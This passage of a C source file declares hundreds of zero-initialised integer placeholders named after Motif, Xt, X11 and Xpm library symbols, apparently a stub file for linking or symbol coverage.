int _XmSsymbolPixmap = 0;
int _XmStackFree = 0;
int _XmStackInit = 0;
int _XmStackPop = 0;
int _XmStackPush = 0;
int xm_std_constraint_filter = 0;
int xm_std_filter = 0;
int _XmStearOffMenuActivateCallback = 0;
int _XmStearOffMenuDeactivateCallback = 0;
int _XmStearOffModel = 0;
int _XmStextAccelerators = 0;
int _XmStextColumns = 0;
int _XmStextFontList = 0;
int _XmStextString = 0;
int _XmStextTranslations = 0;
int _XmStextValue = 0;
int _XmStitleString = 0;
int _XmStoBottomCallback = 0;
int _XmStopAttachment = 0;
int _XmStopCharacter = 0;
int _XmStopItemPosition = 0;
int _XmStopLevelEnterCallback = 0;
int _XmStopLevelLeaveCallback = 0;
int _XmStopOffset = 0;
int _XmStoPositionCallback = 0;
int _XmStopPosition = 0;
int _XmStopShadowColor = 0;
int _XmStopShadowPixmap = 0;
int _XmStopWidget = 0;
int _XmStoTopCallback = 0;
int _XmStransferProc = 0;
int _XmStransferStatus = 0;
int _XmStraversalCallback = 0;
int _XmStraversalOn = 0;
int _XmStraversalType = 0;
int _XmStraverseObscuredCallback = 0;
int _XmStreeUpdateProc = 0;
int _XmStringBaseline = 0;
int XmStringBaseline = 0;
int _XmStringByteCompare = 0;
int XmStringByteCompare = 0;
int XmStringByteStreamLength = 0;
int _XmStringCacheFree = 0;
int _XmStringCacheGet = 0;
int _XmStringCacheTag = 0;
int _XmStringCharacterCount = 0;
int XmStringCompare = 0;
int XmStringComponentCreate = 0;
int XmStringConcat = 0;
int XmStringConcatAndFree = 0;
int _XmStringContextCopy = 0;
int _XmStringContextFree = 0;
int _XmStringContextReInit = 0;
int _XmStringCopy = 0;
int XmStringCopy = 0;
int _XmStringCreate = 0;
int XmStringCreate = 0;
int _XmStringCreateExternal = 0;
int XmStringCreateFontList = 0;
int XmStringCreateFontList_r = 0;
int XmStringCreateLocalized = 0;
int XmStringCreateLtoR = 0;
int XmStringCreateSimple = 0;
int XmStringDirectionCreate = 0;
int XmStringDirectionToDirection = 0;
int _XmStringDraw = 0;
int XmStringDraw = 0;
int _XmStringDrawImage = 0;
int XmStringDrawImage = 0;
int _XmStringDrawLining = 0;
int _XmStringDrawMnemonic = 0;
int _XmStringDrawSegment = 0;
int _XmStringDrawUnderline = 0;
int XmStringDrawUnderline = 0;
int _XmStringEmpty = 0;
int XmStringEmpty = 0;
int _XmStringEntryCopy = 0;
int _XmStringEntryFree = 0;
int _XmStringExtent = 0;
int XmStringExtent = 0;
int _XmStringFree = 0;
int XmStringFree = 0;
int _XmStringFreeContext = 0;
int XmStringFreeContext = 0;
int XmStringGenerate = 0;
int _XmStringGetBaselines = 0;
int _XmStringGetCurrentCharset = 0;
int XmStringGetLtoR = 0;
int XmStringGetNextComponent = 0;
int _XmStringGetNextSegment = 0;
int XmStringGetNextSegment = 0;
int _XmStringGetNextTabWidth = 0;
int XmStringGetNextTriple = 0;
int _XmStringGetSegment = 0;
int _XmStringGetTextConcat = 0;
int _XmStringHasSubstring = 0;
int XmStringHasSubstring = 0;
int _XmStringHeight = 0;
int XmStringHeight = 0;
int _XmStringIndexCacheTag = 0;
int _XmStringIndexGetTag = 0;
int _XmStringInitContext = 0;
int XmStringInitContext = 0;
int _XmStringIsCurrentCharset = 0;
int XmStringIsVoid = 0;
int _XmStringIsXmString = 0;
int _XmStringLayout = 0;
int XmStringLength = 0;
int _XmStringLineCount = 0;
int XmStringLineCount = 0;
int XmStringLtoRCreate = 0;
int XmStringNConcat = 0;
int XmStringNCopy = 0;
int _XmStringNCreate = 0;
int _XmStringOptToNonOpt = 0;
int XmStringParseText = 0;
int XmStringPeekNextComponent = 0;
int XmStringPeekNextTriple = 0;
int XmStringPutRendition = 0;
int _XmStringRender = 0;
int _XmStrings = 0;
int _XmStrings22 = 0;
int _XmStrings23 = 0;
int _XmStringsAreEqual = 0;
int XmStringSegmentCreate = 0;
int _XmStringSegmentExtents = 0;
int _XmStringSegmentNew = 0;
int XmStringSeparatorCreate = 0;
int _XmStringsI = 0;
int _XmStringSingleSegment = 0;
int _XmStringSourceCreate = 0;
int _XmStringSourceDestroy = 0;
int _XmStringSourceFindString = 0;
int _XmStringSourceGetEditable = 0;
int _XmStringSourceGetMaxLength = 0;
int _XmStringSourceGetPending = 0;
int _XmStringSourceGetString = 0;
int _XmStringSourceGetValue = 0;
int _XmStringSourceHasSelection = 0;
int _XmStringSourceSetEditable = 0;
int _XmStringSourceSetGappedBuffer = 0;
int _XmStringSourceSetMaxLength = 0;
int _XmStringSourceSetPending = 0;
int _XmStringSourceSetValue = 0;
int XmStringTableParseStringArray = 0;
int XmStringTableProposeTablist = 0;
int XmStringTableToXmString = 0;
int XmStringTableUnparse = 0;
int XmStringToXmStringTable = 0;
int _XmStringTruncateASN1 = 0;
int _XmStringUngenerate = 0;
int XmStringUnparse = 0;
int _XmStringUpdate = 0;
int _XmStringUpdateWMShellTitle = 0;
int _XmStringWidth = 0;
int XmStringWidth = 0;
int _XmStroughColor = 0;
int _XmSunitType = 0;
int _XmSunmapCallback = 0;
int _XmSunpostBehavior = 0;
int _XmSunselectPixmap = 0;
int _XmSupdateSliderSize = 0;
int _XmSuseAsyncGeometry = 0;
int _XmSuserData = 0;
int _XmSvalidCursorForeground = 0;
int _XmSvalueChangedCallback = 0;
int _XmSvalueWcs = 0;
int _XmSverifyBell = 0;
int _XmSverticalFontUnit = 0;
int _XmSverticalScrollBar = 0;
int _XmSverticalSpacing = 0;
int _XmSvisibleItemCount = 0;
int _XmSvisibleWhenOff = 0;
int _XmSvisualPolicy = 0;
int _XmSWGetClipArea = 0;
int _XmSwhichButton = 0;
int _XmSWNotifyGeoChange = 0;
int _XmSwordWrap = 0;
int _XmSworkWindow = 0;
int _XmSyncDropSiteTree = 0;
int XmTabAttributesFree = 0;
int XmTabbedStackListAppend = 0;
int _XmTabbedStackListArray = 0;
int XmTabbedStackListCompare = 0;
int XmTabbedStackListCopy = 0;
int _XmTabbedStackListCount = 0;
int XmTabbedStackListCreate = 0;
int XmTabbedStackListFind = 0;
int XmTabbedStackListFree = 0;
int _XmTabbedStackListGet = 0;
int XmTabbedStackListInsert = 0;
int XmTabbedStackListModify = 0;
int XmTabbedStackListQuery = 0;
int XmTabbedStackListRemove = 0;
int XmTabbedStackListSimpleAppend = 0;
int XmTabbedStackListSimpleInsert = 0;
int XmTabbedStackListSimpleModify = 0;
int XmTabbedStackListSimpleQuery = 0;
int XmTabbedStackListSimpleRemove = 0;
int _XmTabBoxCanvas = 0;
int xmTabBoxClassRec = 0;
int XmTabBoxGetIndex = 0;
int _XmTabBoxGetMaxTabHeight = 0;
int _XmTabBoxGetMaxTabWidth = 0;
int XmTabBoxGetNumColumns = 0;
int XmTabBoxGetNumRows = 0;
int _XmTabBoxGetNumRowsColumns = 0;
int XmTabBoxGetNumTabs = 0;
int _XmTabBoxGetTabHeight = 0;
int XmTabBoxGetTabRow = 0;
int _XmTabBoxGetTabWidth = 0;
int _XmTabBoxSelectTab = 0;
int _XmTabBoxStackedGeometry = 0;
int xmTabBoxWidgetClass = 0;
int XmTabBoxXYToIndex = 0;
int xmTabCanvasClassRec = 0;
int xmTabCanvasWidgetClass = 0;
int _XmTabCopy = 0;
int XmTabCreate = 0;
int XmTabFree = 0;
int XmTabGetValues = 0;
int _XmTabListAdd = 0;
int XmTabListCopy = 0;
int _XmTabListDelete = 0;
int XmTabListFree = 0;
int _XmTabListGetPosition = 0;
int XmTabListGetTab = 0;
int XmTabListInsertTabs = 0;
int XmTabListRemoveTabs = 0;
int XmTabListReplacePositions = 0;
int XmTabListTabCount = 0;
int XmTabSetValue = 0;
int xmTabStackClassRec = 0;
int XmTabStackGetSelectedTab = 0;
int XmTabStackIndexToWidget = 0;
int XmTabStackSelectTab = 0;
int xmTabStackWidgetClass = 0;
int XmTargetsAreCompatible = 0;
int _XmTargetsToIndex = 0;
int _XmTearOffB_overrideTranslations = 0;
int _XmTearOffBPrimClassExtRec = 0;
int _XmTearOffBtnDownEventHandler = 0;
int _XmTearOffBtnUpEventHandler = 0;
int xmTearOffButtonClassRec = 0;
int xmTearOffButtonWidgetClass = 0;
int _XmTearOffInitiate = 0;
int _XmTestTraversability = 0;
int _XmTextAdjustGC = 0;
int _XmTextBytesToCharacters = 0;
int _XmTextChangeBlinkBehavior = 0;
int _XmTextChangeHOffset = 0;
int _XmTextChangeVOffset = 0;
int _XmTextCharactersToBytes = 0;
int xmTextClassRec = 0;
int _XmTextClearDestination = 0;
int XmTextClearSelection = 0;
int _XmTextConvert = 0;
int XmTextCopy = 0;
int XmTextCopyLink = 0;
int _XmTextCountCharacters = 0;
int XmTextCut = 0;
int _XmTextDestinationVisible = 0;
int _XmTextDisableRedisplay = 0;
int XmTextDisableRedisplay = 0;
int _XmTextDrawDestination = 0;
int _XmTextEnableRedisplay = 0;
int XmTextEnableRedisplay = 0;
int _XmTextEventBindings1 = 0;
int _XmTextEventBindings2 = 0;
int _XmTextEventBindings3 = 0;
int _XmTextF_EventBindings1 = 0;
int _XmTextF_EventBindings2 = 0;
int _XmTextF_EventBindings3 = 0;
int xmTextFieldClassRec = 0;
int XmTextFieldClearSelection = 0;
int _XmTextFieldConvert = 0;
int XmTextFieldCopy = 0;
int XmTextFieldCopyLink = 0;
int _XmTextFieldCountBytes = 0;
int _XmTextFieldCountCharacters = 0;
int XmTextFieldCut = 0;
int _XmTextFieldDeselectSelection = 0;
int _XmTextFieldDestinationVisible = 0;
int _XmTextFieldDrawInsertionPoint = 0;
int XmTextFieldGetAddMode = 0;
int XmTextFieldGetBaseline = 0;
int XmTextFieldGetBaseLine = 0;
int XmTextFieldGetCursorPosition = 0;
int _XmTextFieldGetDropReciever = 0;
int XmTextFieldGetEditable = 0;
int XmTextFieldGetInsertionPosition = 0;
int XmTextFieldGetLastPosition = 0;
int XmTextFieldGetMaxLength = 0;
int XmTextFieldGetSelection = 0;
int XmTextFieldGetSelectionPosition = 0;
int XmTextFieldGetSelectionWcs = 0;
int XmTextFieldGetString = 0;
int XmTextFieldGetStringWcs = 0;
int XmTextFieldGetSubstring = 0;
int XmTextFieldGetSubstringWcs = 0;
int _XmTextFieldHandleSecondaryFinished = 0;
int XmTextFieldInsert = 0;
int XmTextFieldInsertWcs = 0;
int _XmTextFieldInstallTransferTrait = 0;
int _XmTextFieldLoseSelection = 0;
int XmTextFieldPaste = 0;
int XmTextFieldPasteLink = 0;
int XmTextFieldPosToXY = 0;
int XmTextFieldRemove = 0;
int XmTextFieldReplace = 0;
int _XmTextFieldReplaceText = 0;
int XmTextFieldReplaceWcs = 0;
int XmTextFieldSetAddMode = 0;
int _XmTextFieldSetClipRect = 0;
int _XmTextFieldSetCursorPosition = 0;
int XmTextFieldSetCursorPosition = 0;
int _XmTextFieldSetDestination = 0;
int XmTextFieldSetEditable = 0;
int XmTextFieldSetHighlight = 0;
int XmTextFieldSetInsertionPosition = 0;
int XmTextFieldSetMaxLength = 0;
int _XmTextFieldSetSel2 = 0;
int XmTextFieldSetSelection = 0;
int XmTextFieldSetString = 0;
int XmTextFieldSetStringWcs = 0;
int XmTextFieldShowPosition = 0;
int _XmTextFieldStartSelection = 0;
int xmTextFieldWidgetClass = 0;
int XmTextFieldXYToPos = 0;
int _XmTextFindLineEnd = 0;
int _XmTextFindScroll = 0;
int XmTextFindString = 0;
int _XmTextFindStringBackwards = 0;
int _XmTextFindStringForwards = 0;
int XmTextFindStringWcs = 0;
int _XmTextFPrimClassExtRec = 0;
int _XmTextFreeContextData = 0;
int _XmTextFToggleCursorGC = 0;
int XmTextGetAddMode = 0;
int _XmTextGetAnchor = 0;
int XmTextGetBaseline = 0;
int _XmTextGetBaseLine = 0;
int XmTextGetBaseLine = 0;
int _XmTextGetBaselines = 0;
int XmTextGetCenterline = 0;
int XmTextGetCursorPosition = 0;
int _XmTextGetDisplayRect = 0;
int _XmTextGetDropReciever = 0;
int XmTextGetEditable = 0;
int XmTextGetInsertionPosition = 0;
int XmTextGetLastPosition = 0;
int _XmTextGetLineTable = 0;
int XmTextGetMaxLength = 0;
int _XmTextGetNumberLines = 0;
int _XmTextGetSel2 = 0;
int XmTextGetSelection = 0;
int XmTextGetSelectionPosition = 0;
int XmTextGetSelectionWcs = 0;
int XmTextGetSource = 0;
int XmTextGetString = 0;
int XmTextGetStringWcs = 0;
int XmTextGetSubstring = 0;
int XmTextGetSubstringWcs = 0;
int _XmTextGetTableIndex = 0;
int XmTextGetTopCharacter = 0;
int _XmTextGetTotalLines = 0;
int _XmTextHandleSecondaryFinished = 0;
int _XmTextHasDestination = 0;
int _XmTextInputCreate = 0;
int _XmTextInputGetSecResData = 0;
int XmTextInsert = 0;
int XmTextInsertWcs = 0;
int _XmTextInstallTransferTrait = 0;
int _XmTextInvalidate = 0;
int _XmTextIn_XmTextEventBindings1 = 0;
int _XmTextIn_XmTextEventBindings2 = 0;
int _XmTextIn_XmTextEventBindings3 = 0;
int _XmTextIn_XmTextVEventBindings = 0;
int _XmTextLineInfo = 0;
int _XmTextLoseSelection = 0;
int _XmTextMarginsProc = 0;
int _XmTextMarkRedraw = 0;
int _XmTextModifyVerify = 0;
int _XmTextMovingCursorPosition = 0;
int _XmTextNeedsPendingDeleteDis = 0;
int _XmTextNumLines = 0;
int _XmTextOutLoadGCsAndRecolorCursors = 0;
int _XmTextOutputCreate = 0;
int _XmTextOutputGetSecResData = 0;
int XmTextPaste = 0;
int XmTextPasteLink = 0;
int _XmTextPosToLine = 0;
int XmTextPosToXY = 0;
int _XmTextPrimClassExtRec = 0;
int _XmTextRealignLineTable = 0;
int XmTextRemove = 0;
int _XmTextReplace = 0;
int XmTextReplace = 0;
int XmTextReplaceWcs = 0;
int _XmTextResetClipOrigin = 0;
int _XmTextResetIC = 0;
int XmTextScroll = 0;
int _XmTextScrollable = 0;
int XmTextSetAddMode = 0;
int _XmTextSetCursorPosition = 0;
int XmTextSetCursorPosition = 0;
int _XmTextSetDestinationSelection = 0;
int _XmTextSetEditable = 0;
int XmTextSetEditable = 0;
int _XmTextSetHighlight = 0;
int XmTextSetHighlight = 0;
int XmTextSetInsertionPosition = 0;
int XmTextSetMaxLength = 0;
int _XmTextSetPreeditPosition = 0;
int _XmTextSetSel2 = 0;
int XmTextSetSelection = 0;
int XmTextSetSource = 0;
int XmTextSetString = 0;
int XmTextSetStringWcs = 0;
int _XmTextSetTopCharacter = 0;
int XmTextSetTopCharacter = 0;
int _XmTextShouldWordWrap = 0;
int _XmTextShowPosition = 0;
int XmTextShowPosition = 0;
int _XmTextToggleCursorGC = 0;
int _XmTextToLocaleText = 0;
int _XmTextUpdateLineTable = 0;
int _XmTextValidate = 0;
int _XmTextValueChanged = 0;
int xmTextWidgetClass = 0;
int XmTextXYToPos = 0;
int _XmToggleBCacheCompare = 0;
int _XmToggleB_defaultTranslations = 0;
int _XmToggleBGadClassExtRec = 0;
int _XmToggleB_menuTranslations = 0;
int _XmToggleBPrimClassExtRec = 0;
int xmToggleButtonClassRec = 0;
int xmToggleButtonGadgetClass = 0;
int xmToggleButtonGadgetClassRec = 0;
int XmToggleButtonGadgetGetState = 0;
int XmToggleButtonGadgetSetState = 0;
int XmToggleButtonGadgetSetValue = 0;
int xmToggleButtonGCacheObjClassRec = 0;
int XmToggleButtonGetState = 0;
int XmToggleButtonSetState = 0;
int XmToggleButtonSetValue = 0;
int xmToggleButtonWidgetClass = 0;
int _XmToHorizontalPixels = 0;
int _XmToLayoutDirection = 0;
int _XmToolTipEnter = 0;
int XmToolTipGetLabel = 0;
int _XmToolTipLeave = 0;
int _XmToolTipRemove = 0;
int _XmToPanedPixels = 0;
int _XmTopShadowColorDefault = 0;
int _XmTopShadowPixmapDefault = 0;
int _XmToVerticalPixels = 0;
int XmTrackingEvent = 0;
int XmTrackingLocate = 0;
int _XmTrackShellFocus = 0;
int XmTransferDone = 0;
int _XmTransferGetDestinationCBStruct = 0;
int XmTransferSendRequest = 0;
int XmTransferSetParameters = 0;
int XmTransferStartRequest = 0;
int XmTransferValue = 0;
int _XmTransformSubResources = 0;
int XmTranslateKey = 0;
int _XmTraverse = 0;
int _XmTraverseAway = 0;
int _XmTraverseDown = 0;
int _XmTraverseHome = 0;
int _XmTraverseLeft = 0;
int _XmTraverseNext = 0;
int _XmTraverseNextTabGroup = 0;
int _XmTraversePrev = 0;
int _XmTraversePrevTabGroup = 0;
int _XmTraverseRight = 0;
int _XmTraverseUp = 0;
int _XmTravGraphAdd = 0;
int _XmTravGraphRemove = 0;
int _XmTravGraphUpdate = 0;
int xmTreeClassRec = 0;
int xmTreeWidgetClass = 0;
int XmuNCopyISOLatin1Lowered = 0;
int _XmUnhighlightBorder = 0;
int XmUninstallImage = 0;
int _XmUnitTypeDefault = 0;
int XmUpdateDisplay = 0;
int _XmUseColorObj = 0;
int xmUseVersion = 0;
int _XmUtf8ToUcs2 = 0;
int _XmUtilIsSubclassByNameQ = 0;
int XmVaCreateArrowButton = 0;
int XmVaCreateArrowButtonGadget = 0;
int XmVaCreateBulletinBoard = 0;
int XmVaCreateButtonBox = 0;
int XmVaCreateCascadeButton = 0;
int XmVaCreateCascadeButtonGadget = 0;
int XmVaCreateColorSelector = 0;
int XmVaCreateColumn = 0;
int XmVaCreateCombinationBox2 = 0;
int XmVaCreateComboBox = 0;
int XmVaCreateCommand = 0;
int XmVaCreateContainer = 0;
int XmVaCreateDataField = 0;
int XmVaCreateDrawingArea = 0;
int XmVaCreateDrawnButton = 0;
int XmVaCreateDropDown = 0;
int XmVaCreateExt18List = 0;
int XmVaCreateFileSelectionBox = 0;
int XmVaCreateForm = 0;
int XmVaCreateFrame = 0;
int XmVaCreateIconGadget = 0;
int XmVaCreateLabel = 0;
int XmVaCreateLabelGadget = 0;
int XmVaCreateList = 0;
int XmVaCreateMainWindow = 0;
int XmVaCreateManagedArrowButton = 0;
int XmVaCreateManagedArrowButtonGadget = 0;
int XmVaCreateManagedBulletinBoard = 0;
int XmVaCreateManagedButtonBox = 0;
int XmVaCreateManagedCascadeButton = 0;
int XmVaCreateManagedCascadeButtonGadget = 0;
int XmVaCreateManagedColorSelector = 0;
int XmVaCreateManagedColumn = 0;
int XmVaCreateManagedCombinationBox2 = 0;
int XmVaCreateManagedComboBox = 0;
int XmVaCreateManagedCommand = 0;
int XmVaCreateManagedContainer = 0;
int XmVaCreateManagedDataField = 0;
int XmVaCreateManagedDrawingArea = 0;
int XmVaCreateManagedDrawnButton = 0;
int XmVaCreateManagedDropDown = 0;
int XmVaCreateManagedExt18List = 0;
int XmVaCreateManagedFileSelectionBox = 0;
int XmVaCreateManagedForm = 0;
int XmVaCreateManagedFrame = 0;
int XmVaCreateManagedIconGadget = 0;
int XmVaCreateManagedLabel = 0;
int XmVaCreateManagedLabelGadget = 0;
int XmVaCreateManagedList = 0;
int XmVaCreateManagedMainWindow = 0;
int XmVaCreateManagedMessageBox = 0;
int XmVaCreateManagedMultiList = 0;
int XmVaCreateManagedNotebook = 0;
int XmVaCreateManagedPanedWindow = 0;
int XmVaCreateManagedPushButton = 0;
int XmVaCreateManagedPushButtonGadget = 0;
int XmVaCreateManagedRowColumn = 0;
int XmVaCreateManagedScale = 0;
int XmVaCreateManagedScrollBar = 0;
int XmVaCreateManagedScrolledWindow = 0;
int XmVaCreateManagedSelectionBox = 0;
int XmVaCreateManagedSeparator = 0;
int XmVaCreateManagedSeparatorGadget = 0;
int XmVaCreateManagedSimpleSpinBox = 0;
int XmVaCreateManagedSpinBox = 0;
int XmVaCreateManagedTabStack = 0;
int XmVaCreateManagedText = 0;
int XmVaCreateManagedTextField = 0;
int XmVaCreateManagedToggleButton = 0;
int XmVaCreateManagedToggleButtonGadget = 0;
int XmVaCreateMessageBox = 0;
int XmVaCreateMultiList = 0;
int XmVaCreateNotebook = 0;
int XmVaCreatePanedWindow = 0;
int XmVaCreatePushButton = 0;
int XmVaCreatePushButtonGadget = 0;
int XmVaCreateRowColumn = 0;
int XmVaCreateScale = 0;
int XmVaCreateScrollBar = 0;
int XmVaCreateScrolledWindow = 0;
int XmVaCreateSelectionBox = 0;
int XmVaCreateSeparator = 0;
int XmVaCreateSeparatorGadget = 0;
int XmVaCreateSimpleCheckBox = 0;
int XmVaCreateSimpleMenuBar = 0;
int XmVaCreateSimpleOptionMenu = 0;
int XmVaCreateSimplePopupMenu = 0;
int XmVaCreateSimplePulldownMenu = 0;
int XmVaCreateSimpleRadioBox = 0;
int XmVaCreateSimpleSpinBox = 0;
int XmVaCreateSpinBox = 0;
int XmVaCreateTabStack = 0;
int XmVaCreateText = 0;
int XmVaCreateTextField = 0;
int XmVaCreateToggleButton = 0;
int XmVaCreateToggleButtonGadget = 0;
int _XmValidateFocus = 0;
int _XmValidCursorIconQuark = 0;
int _XmValidTimestamp = 0;
int _XmVaToTypedArgList = 0;
int _XmVendorExtRealize = 0;
int xmVendorShellExtClassRec = 0;
int xmVendorShellExtObjectClass = 0;
int _XmVersionString = 0;
int _XmVirtKeys_acornFallbackBindingString = 0;
int _XmVirtKeys_apolloFallbackBindingString = 0;
int _XmVirtKeys_dblclkFallbackBindingString = 0;
int _XmVirtKeys_decFallbackBindingString = 0;
int _XmVirtKeysDestroy = 0;
int _XmVirtKeys_dgFallbackBindingString = 0;
int _XmVirtKeys_fallbackBindingString = 0;
int _XmVirtKeysHandler = 0;
int _XmVirtKeys_hpFallbackBindingString = 0;
int _XmVirtKeys_ibmFallbackBindingString = 0;
int _XmVirtKeys_ingrFallbackBindingString = 0;
int _XmVirtKeysInitialize = 0;
int _XmVirtKeysLoadFallbackBindings = 0;
int _XmVirtKeysLoadFileBindings = 0;
int _XmVirtKeys_megatekFallbackBindingString = 0;
int _XmVirtKeys_motorolaFallbackBindingString = 0;
int _XmVirtKeys_sgiFallbackBindingString = 0;
int _XmVirtKeys_siemens9733FallbackBindingString = 0;
int _XmVirtKeys_siemensWx200FallbackBindingString = 0;
int _XmVirtKeys_sunFallbackBindingString = 0;
int _XmVirtKeys_tekFallbackBindingString = 0;
int _XmVirtualToActualKeysym = 0;
int _XmWarning = 0;
int _XmWarningMsg = 0;
int _XmWhitePixel = 0;
int _XmWidgetFocusChange = 0;
int XmWidgetGetBaselines = 0;
int XmWidgetGetDisplayRect = 0;
int _XmWidgetIsTraversable = 0;
int xmWorldClass = 0;
int xmWorldClassRec = 0;
int xmWorldObjectClass = 0;
int _XmWriteDragBuffer = 0;
int _XmWriteDSToStream = 0;
int _XmWriteInitiatorInfo = 0;
int _XmXftDrawCreate = 0;
int _XmXftDrawDestroy = 0;
int _XmXftDrawString = 0;
int _XmXftDrawString2 = 0;
int _XmXftFontAverageWidth = 0;
int _XmXftGetXftColor = 0;
int _XmXftSetClipRectangles = 0;
int _Xmxpmatoui = 0;
int _XmxpmColorKeys = 0;
int _XmxpmCreateImageFromPixmap = 0;
int _XmxpmCreatePixmapFromImage = 0;
int _XmxpmDataTypes = 0;
int _XmxpmFreeColorTable = 0;
int _XmxpmFreeRgbNames = 0;
int _XmxpmGetCmt = 0;
int _XmxpmGetRgbName = 0;
int _XmxpmGetString = 0;
int _XmxpmHashIntern = 0;
int _XmxpmHashSlot = 0;
int _XmxpmHashTableFree = 0;
int _XmxpmHashTableInit = 0;
int _XmxpmInitAttributes = 0;
int _XmxpmInitXpmImage = 0;
int _XmxpmInitXpmInfo = 0;
int _XmxpmNextString = 0;
int _XmxpmNextUI = 0;
int _XmxpmNextWord = 0;
int _XmxpmParseColors = 0;
int _XmxpmParseData = 0;
int _XmxpmParseDataAndCreate = 0;
int _XmxpmParseExtensions = 0;
int _XmxpmParseHeader = 0;
int _XmxpmParseValues = 0;
int _XmxpmReadRgbNames = 0;
int _XmxpmSetAttributes = 0;
int _XmxpmSetInfo = 0;
int _XmxpmSetInfoMask = 0;
int _Xmxpm_xynormalizeimagebits = 0;
int _Xmxpm_znormalizeimagebits = 0;
int XNextEvent = 0;
int XOffsetRegion = 0;
int XOMOfOC = 0;
int XOpenDisplay = 0;
int XOpenIM = 0;
int XParseColor = 0;
int XPeekEvent = 0;
int XPending = 0;
int Xpms_popen = 0;
int XPolygonRegion = 0;
int XPutBackEvent = 0;
int XPutImage = 0;
int XQueryBestCursor = 0;
int XQueryColor = 0;
int XQueryColors = 0;
int XQueryPointer = 0;
int XQueryTree = 0;
int XRaiseWindow = 0;
int XReadBitmapFileData = 0;
int XRecolorCursor = 0;
int XRectInRegion = 0;
int XReparentWindow = 0;
int XrmCombineDatabase = 0;
int XrmDestroyDatabase = 0;
int XrmGetStringDatabase = 0;
int XrmPermStringToQuark = 0;
int XrmPutResource = 0;
int XrmPutStringResource = 0;
int XrmQGetResource = 0;
int XrmQGetSearchList = 0;
int XrmQGetSearchResource = 0;
int XrmQuarkToString = 0;
int XrmStringToQuark = 0;
int XrmUniqueQuark = 0;
int XRotateBuffers = 0;
int XSaveContext = 0;
int XScreenCount = 0;
int XScreenNumberOfScreen = 0;
int XScreenOfDisplay = 0;
int XSelectInput = 0;
int XSendEvent = 0;
int XSetClipMask = 0;
int XSetClipOrigin = 0;
int XSetClipRectangles = 0;
int XSetCloseDownMode = 0;
int XSetErrorHandler = 0;
int XSetFillStyle = 0;
int XSetForeground = 0;
int XSetFunction = 0;
int XSetICFocus = 0;
int XSetICValues = 0;
int XSetInputFocus = 0;
int XSetLineAttributes = 0;
int XSetLocaleModifiers = 0;
int XSetOCValues = 0;
int XSetRegion = 0;
int XSetSelectionOwner = 0;
int XSetStipple = 0;
int XSetTextProperty = 0;
int XSetTSOrigin = 0;
int XSetWindowBackground = 0;
int XSetWindowBackgroundPixmap = 0;
int XSetWMColormapWindows = 0;
int XShapeCombineMask = 0;
int XShapeCombineRectangles = 0;
int XShapeQueryExtension = 0;
int __xstat64 = 0;
int XStoreBuffer = 0;
int XStoreColor = 0;
int XStringToKeysym = 0;
int XSubtractRegion = 0;
int XSync = 0;
int XtAddCallback = 0;
int XtAddEventHandler = 0;
int XtAddGrab = 0;
int XtAddRawEventHandler = 0;
int XtAllocateGC = 0;
int XtAppAddTimeOut = 0;
int XtAppAddWorkProc = 0;
int XtAppCreateShell = 0;
int XtAppErrorMsg = 0;
int XtAppGetExitFlag = 0;
int XtAppGetSelectionTimeout = 0;
int XtAppLock = 0;
int XtAppNextEvent = 0;
int XtAppPending = 0;
int XtAppProcessEvent = 0;
int XtAppSetSelectionTimeout = 0;
int XtAppSetTypeConverter = 0;
int XtAppSetWarningMsgHandler = 0;
int XtAppUnlock = 0;
int XtAppWarningMsg = 0;
int XtAugmentTranslations = 0;
int XtBuildEventMask = 0;
int XtCallActionProc = 0;
int XtCallCallbackList = 0;
int XtCallCallbacks = 0;
int XtCallConverter = 0;
int XtCalloc = 0;
int XtCancelSelectionRequest = 0;
int XtConfigureWidget = 0;
int XtConvertAndStore = 0;
int XtConvertCase = 0;
int XtCreateManagedWidget = 0;
int XtCreatePopupShell = 0;
int XtCreateSelectionRequest = 0;
int XtCreateWidget = 0;
int XtCreateWindow = 0;
int XtCvtStringToFontSet = 0;
int XtCvtStringToFontStruct = 0;
int XtCvtStringToPixel = 0;
int XtDatabase = 0;
int XtDestroyApplicationContext = 0;
int XtDestroyWidget = 0;
int XtDisownSelection = 0;
int XtDispatchEvent = 0;
int XtDisplayOfObject = 0;
int XtDisplayStringConversionWarning = 0;
int XtDisplayToApplicationContext = 0;
int XtError = 0;
int XtErrorMsg = 0;
int XTextExtents = 0;
int XTextExtents16 = 0;
int XTextWidth = 0;
int XTextWidth16 = 0;
int XtFree = 0;
int XtGetActionKeysym = 0;
int XtGetApplicationNameAndClass = 0;
int XtGetApplicationResources = 0;
int XtGetConstraintResourceList = 0;
int XtGetErrorDatabaseText = 0;
int XtGetGC = 0;
int XtGetKeysymTable = 0;
int XtGetMultiClickTime = 0;
int XtGetResourceList = 0;
int XtGetSelectionParameters = 0;
int XtGetSelectionRequest = 0;
int XtGetSelectionValue = 0;
int XtGetSelectionValueIncremental = 0;
int XtGetSelectionValues = 0;
int XtGetSelectionValuesIncremental = 0;
int XtGetSubresources = 0;
int XtGetSubvalues = 0;
int XtGetValues = 0;
int XtGrabButton = 0;
int XtGrabKey = 0;
int XtGrabKeyboard = 0;
int XtGrabPointer = 0;
int XtHasCallbacks = 0;
int _XtInherit = 0;
int _XtInheritTranslations = 0;
int XtInitializeWidgetClass = 0;
int XtInsertEventHandler = 0;
int XtInstallAccelerators = 0;
int XtIsManaged = 0;
int XtIsSensitive = 0;
int XtIsSubclass = 0;
int _XtIsSubclassOf = 0;
int XtLastEventProcessed = 0;
int XtLastTimestampProcessed = 0;
int XtMakeGeometryRequest = 0;
int XtMakeResizeRequest = 0;
int XtMalloc = 0;
int XtManageChild = 0;
int XtManageChildren = 0;
int XtMergeArgLists = 0;
int XtMoveWidget = 0;
int XtName = 0;
int XtNameToWidget = 0;
int XtOverrideTranslations = 0;
int XtOwnSelection = 0;
int XtOwnSelectionIncremental = 0;
int XtParseAcceleratorTable = 0;
int XtParseTranslationTable = 0;
int XtPopdown = 0;
int XtPopup = 0;
int XtProcessLock = 0;
int XtProcessUnlock = 0;
int XtQueryGeometry = 0;
int XTranslateCoordinates = 0;
int XtRealizeWidget = 0;
int XtRealloc = 0;
int XtRegisterGrabAction = 0;
int XtReleaseGC = 0;
int XtRemoveAllCallbacks = 0;
int XtRemoveCallback = 0;
int XtRemoveEventHandler = 0;
int XtRemoveGrab = 0;
int XtRemoveTimeOut = 0;
int XtRemoveWorkProc = 0;
int XtResizeWidget = 0;
int XtResolvePathname = 0;
int XtScreenDatabase = 0;
int XtScreenOfObject = 0;
int XtSendSelectionRequest = 0;
int XtSetKeyboardFocus = 0;
int XtSetKeyTranslator = 0;
int XtSetMappedWhenManaged = 0;
int XtSetSelectionParameters = 0;
